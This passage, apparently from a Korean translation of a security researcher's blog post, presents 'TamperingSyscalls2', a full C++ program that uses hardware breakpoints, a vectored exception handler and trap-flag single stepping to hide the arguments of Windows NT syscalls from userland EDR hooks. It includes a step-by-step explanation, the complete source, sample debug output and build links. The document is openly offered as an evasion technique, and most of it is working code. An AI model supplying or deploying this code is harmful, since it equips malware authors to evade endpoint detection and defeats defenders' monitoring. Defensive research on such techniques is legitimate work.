if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
마지막으로 TamperingSyscalls에서 영감을 받은 범용 x64 유저랜드 회피 기법을 구현하겠습니다. 이 기법은 앞서 엔진에서 보여준 하드웨어 브레이크포인트를 적절히 수정한 버전을 사용하여, 스레드당 한 번에 최대 4개의 Nt 시스템 콜에 대해 최대 12개의 인자를 숨길 수 있습니다. 디버그 레지스터 내용을 모든 스레드로 전파하지 않기로 선택했다는 점에 유의하세요. 이는 바람직하지 않을 수 있기 때문입니다(원한다면 SetHWBP를 SetHWBPS로 대체하세요).
이것이 왜 바람직하고 매우 EPIC한지 설명할 필요도 없고, 유저랜드 후킹에 대해 깊이 다룰 필요도 없습니다. 이는 현재 다루는 주제나 관심사가 아니며 이미 여러 번 깊이 있게 다루어졌기 때문입니다 [5].
(address | ThreadID)를 고유 키로 사용하고 값을 함수 인자를 포함하는 구조체로 하는 새 매핑을 만듭니다. 시스템 콜에 진입할 때 매핑에 새 항목을 만들고 레지스터와 스택의 값을 지웁니다.
트랩 플래그를 통한 단일 스테핑을 사용하여 실제보다 더 많은 디버그 레지스터를 가진 것처럼 가장합니다. 특정 작업이 필요한 시점과 위치를 알고 있으므로 이렇게 할 수 있습니다.
원하는 시스템 콜 주소에 도달하면 키와 연결된 해시맵 항목에서 값을 복원합니다. 그러면 레지스터와 스택의 값이 복원됩니다. 그런 다음 return 명령어까지 계속 단일 스테핑하고, 거기서 단일 스테핑을 멈추고 계속 진행합니다!
이는 궁극적으로 타입 없는 후킹(typeless hooking)을 가능하게 합니다. 게다가 처음에는 12개의 인자, 즉 레지스터에서 4개와 스택에서 8개만 숨기도록 지정했습니다. 이 "8" 값은 단지 임의적이지만 권장되며, 스택에서 더 많은 값/인자를 숨기거나 변경하면 바람직하지 않은 동작이 발생할 수 있습니다.
콜 스택은 이미 적절한 DLL에서 시작되어야 하므로, Native 함수를 직접 호출할 필요 없이 NTDLL의 Native 함수 주소로 생성자를 호출하기만 하면 어떤 DLL에서든 적절한 래퍼를 호출할 수 있습니다.
이것은 간단하며 다음 매크로를 변경하여 달성할 수 있습니다:
#define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions.
예제에서는 NtCreateThreadEx와 NtCreateMutant에서 작동하는 모습을 보여줍니다. 4개의 디버그 레지스터를 스레드별로 개별적으로만 사용해야 합니다. 특정 함수 사용이 끝나면 RemoveHWBPS 메서드를 호출하여 해당 디버그 레지스터를 해제할 수 있습니다.
1. (addr == entry.first)이면 mov r10, rcx 명령어에 있다는 뜻입니다.
- (TID | address) 키를 사용하여 해시맵 항목에 인자를 저장합니다.
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
- 그런 다음 이 인자 값을 0으로 설정합니다(다른 임의의 값도 가능).
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...
- 그런 다음 비트 16에 Resume Flag를, 비트 8에 Trap Flag를 설정합니다.
- 그러면 평소와 같이 실행이 계속되며 성능에 미치는 영향은 최소화됩니다.
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
2. (addr == entry.second.sysc)가 될 때까지 단일 스테핑을 계속합니다.
- 이제 syscall 명령어에 있으며 모든 유저랜드 후크를 지나쳤습니다.
- 이전 (TID | address) 조회 키를 사용하여 인자를 복원합니다.```c
auto const key = (address | GetCurrentThreadId());
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
앞서 설명한 기법은 Native syscall의 대부분의 모든 인자를 숨기는 데 초점을 맞춰 구현되었습니다! 스택과 레지스터에 적용되는 변경 사항과 그 배후의 사고 과정을 확인할 수 있도록 디버그 출력문도 제공하는 이 우아하고 간단한 솔루션을 즐기시기 바랍니다.```C ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 / / C++ Generic x64 user-land evasion technique utilizing HWBP.cpp / / Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ //////////////////////////////////////////////////////////////////////////////////////////
// 12 - 4 = 8 - should cover most Nt functions.
#define STK_ARGS 8 // Increase this value, works until ~100...
typedef struct { uintptr_t syscall_addr; // +0x12 uintptr_t return_addr; // +0x14 } ADDRESS_INFORMATION;
typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS;
//////////////////////////////////////////////////////////////////////////////////////////
/* Macros /
//////////////////////////////////////////////////////////////////////////////////////////
#define PRINT_ARGS( State, ExceptionInfo )
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);
for (UINT idx = 0; idx < STK_ARGS; idx++){
const size_t offset = idx * 0x8 + 0x28;
printf("%d:\t0x%p\n", (idx + 5), (PVOID)(PULONG64)
((ExceptionInfo)->ContextRecord->Rsp + offset));
}
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
// Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; }
DWORD WINAPI TestThread(LPVOID lpParameter);
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true);
BYTE syscop[] = { 0x0F, 0x05 };
ADDRESS_MAP[address].syscall_addr =
FindRopAddress(address, syscop, sizeof(syscop));
BYTE retnop[] = { 0xC3 };
ADDRESS_MAP[address].return_addr =
FindRopAddress(address, retnop, sizeof(retnop));
};
VOID RemoveHWBPS()
{
SetHWBP(GetCurrentThread(), address, pos, false);
}
~TS2_HWBP()
{
RemoveHWBPS();
}
};
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [syscall_instr, ai] : ADDRESS_MAP) { // check we are inside valid syscall instructions if ((address >= syscall_instr) && (address <= ai.return_addr)) { printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr); printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);
if (address == syscall_instr) // mov r10, rcx
{
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
PRINT_ARGS("HIDING", ExceptionInfo);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
}
PRINT_ARGS("HIDDEN", ExceptionInfo);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
}
else if (address == ai.syscall_addr)
{
auto const key = (address | GetCurrentThreadId());
// SSN in ExceptionInfo->ContextRecord->Rax
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
PRINT_ARGS("RESTORED", ExceptionInfo);
SYSCALL_MAP.erase(key);
}
else if (address == ai.return_addr)
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);
TS2_HWBP TS2NtCreateThreadEx{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateThreadEx")),
0
};
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
if (t) WaitForSingleObject(t, INFINITE);
}
TS2NtCreateThreadEx.RemoveHWBPS();
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n");
TS2_HWBP TS2NtCreateMutant{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateMutant")),
0
};
HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);
return 0;
} ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
다음은 NtCreateThreadEx의 인수가 숨겨지는 것을 보여주는 예제 출력입니다.```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x0000000000000000
2: 0x0000000000000000
3: 0x0000000000000000
4: 0x0000000000000000
5: 0x0000000000000000
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x0000000000000000
12: 0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414
----TestThread----
[...]
TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7
TamperingSyscalls2 (업데이트됨) - https://godbolt.org/z/edf9v1Wj6
TamperingSyscalls2 (순수 C) - https://godbolt.org/z/9va7YzEe9
공유된 코드는 대부분의 syscall에서 작동해야 하지만, 사용 전에 테스트해야 합니다. 제시된 작업에서 유일한 주요 제한 사항은 해시맵(std::unordered_map)에 대한 의존성입니다. 이것은 내부적으로 NtAllocateVirtualMemory와 같은 다양한 네이티브 함수를 간접적으로 호출하므로, 우리는 그것들을 후킹할 수 없습니다. 이 코드는 최소한의 노력으로 x86에서 작동하도록 용도를 변경할 수 있습니다.
향후에는 마지막 예제에서 보여준 것처럼 라이브러리를 수정하여 단일 스테핑(single stepping)을 활용할 수 있습니다. 단일 스테핑을 중지하려는 시점(주소 또는 범위)을 알아야 하며, 그에 따라 수행하면 됩니다. 이는 PAGE_GUARD 후킹에도 사용할 수 있습니다.
또한 AddVectoredExceptionHandler를 다음과 같이 바꿀 수도 있습니다:
SetUnhandledExceptionFilter(ExceptionHandler);
참조:
[1] https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler
[2] https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention
[3] https://unit42.paloaltonetworks.com/sockdetour/
[4] https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/
[5] https://fool.ish.wtf/2022/08/tamperingsyscalls.html
[6] https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs
이 모든 것을 바탕으로 긍정적인 마무리를 하고자 합니다. 하드웨어 브레이크포인트의 비교할 수 없는 원초적인 힘을 이해하셨기를 바랍니다!!!
jonas, hjonk, smelly, mez0, 그리고 다른 친구들에게 인사를 ;)```
.
. . :^.
!
^77^ :!7:!^.
.7!!
:!: :7^.
!. :! ...:^.
!7. .!^ !!!
7. ^7: .7.
.:^::. .7! !! !
....:::^!. !!: .7^ .!^
.:^:. :!!:.^!. .!7!^. ^7^:^~~~~~^:7.:::::^
^^?^. :!!!7
.^:
:^^:7. .77
::^^!!: :. -your mate!!^ .!^. ^^. rad
.!7~:::~!
!?^^.::^~~~777!. ^7. .^^:
^??^:.:::^~~~!!!7!!^. .!! .98. ...^~~~^:!7JY?^.:...:: :: .
.7JJ:^::::::^^!!?5: .?G5Y7!::^^::.... ... . ^!7.^:.:~ JBYJ~.
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7
.^?5J!^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....^::... .: ::7!.:^^::^^ ?B7:: .....
^^!!!^^!!77777~~~~!!!!777????!::..:.. . .^!!77^^ .:. ...^: . !B7. ~~::.^:
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!!!:. ..: J? ... .^
.^!J:^^^:::^^^7?YYYJ7!!..:. :^^^
.~~?:^^^^:^^^77?777!::^^ . . ....... .. .. ...:~~~!!!7!^7!:. .^:^777!7??7!!!^:: . . ....::..... .^~~~^^^
^^7^^!^^^^~~~:.:..^!:^^:7??7????7!!^:: . ... .......... .^!^^^^^J?7!~~^^^^
.!^..:^....:.^!7JYY5YJJ?77!:.^~ .. .:..!!:. .^::::.::^..: ... .... :5Y?7777~~~^
:!!!77???JJ?!^7^^^^~~~:..::^^:. :!^..:J?7~~^^^^^^
:..!!.^!!!^.::::... ^7JJJ??777!!!!!!~~~^. .......^^^ ...!J?77!!77?7!~
^7!::!!^:..:^::.. .^...^!77????77!~~~~^^!?!. . .. .::..:. .^7Y5YYYJ???!!
^?7::^^!. :::::. :: ... .....::::^^^!!!^. ....:!?^:::.... ..:::::~~~~: ... .^:::::...... ......... :!: !77!!^!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~
^!!: . . .. ..... .:..:^^::::.. .?Y?!!!!~
:!^. . . . . ......:::.. . ^7!7?7~~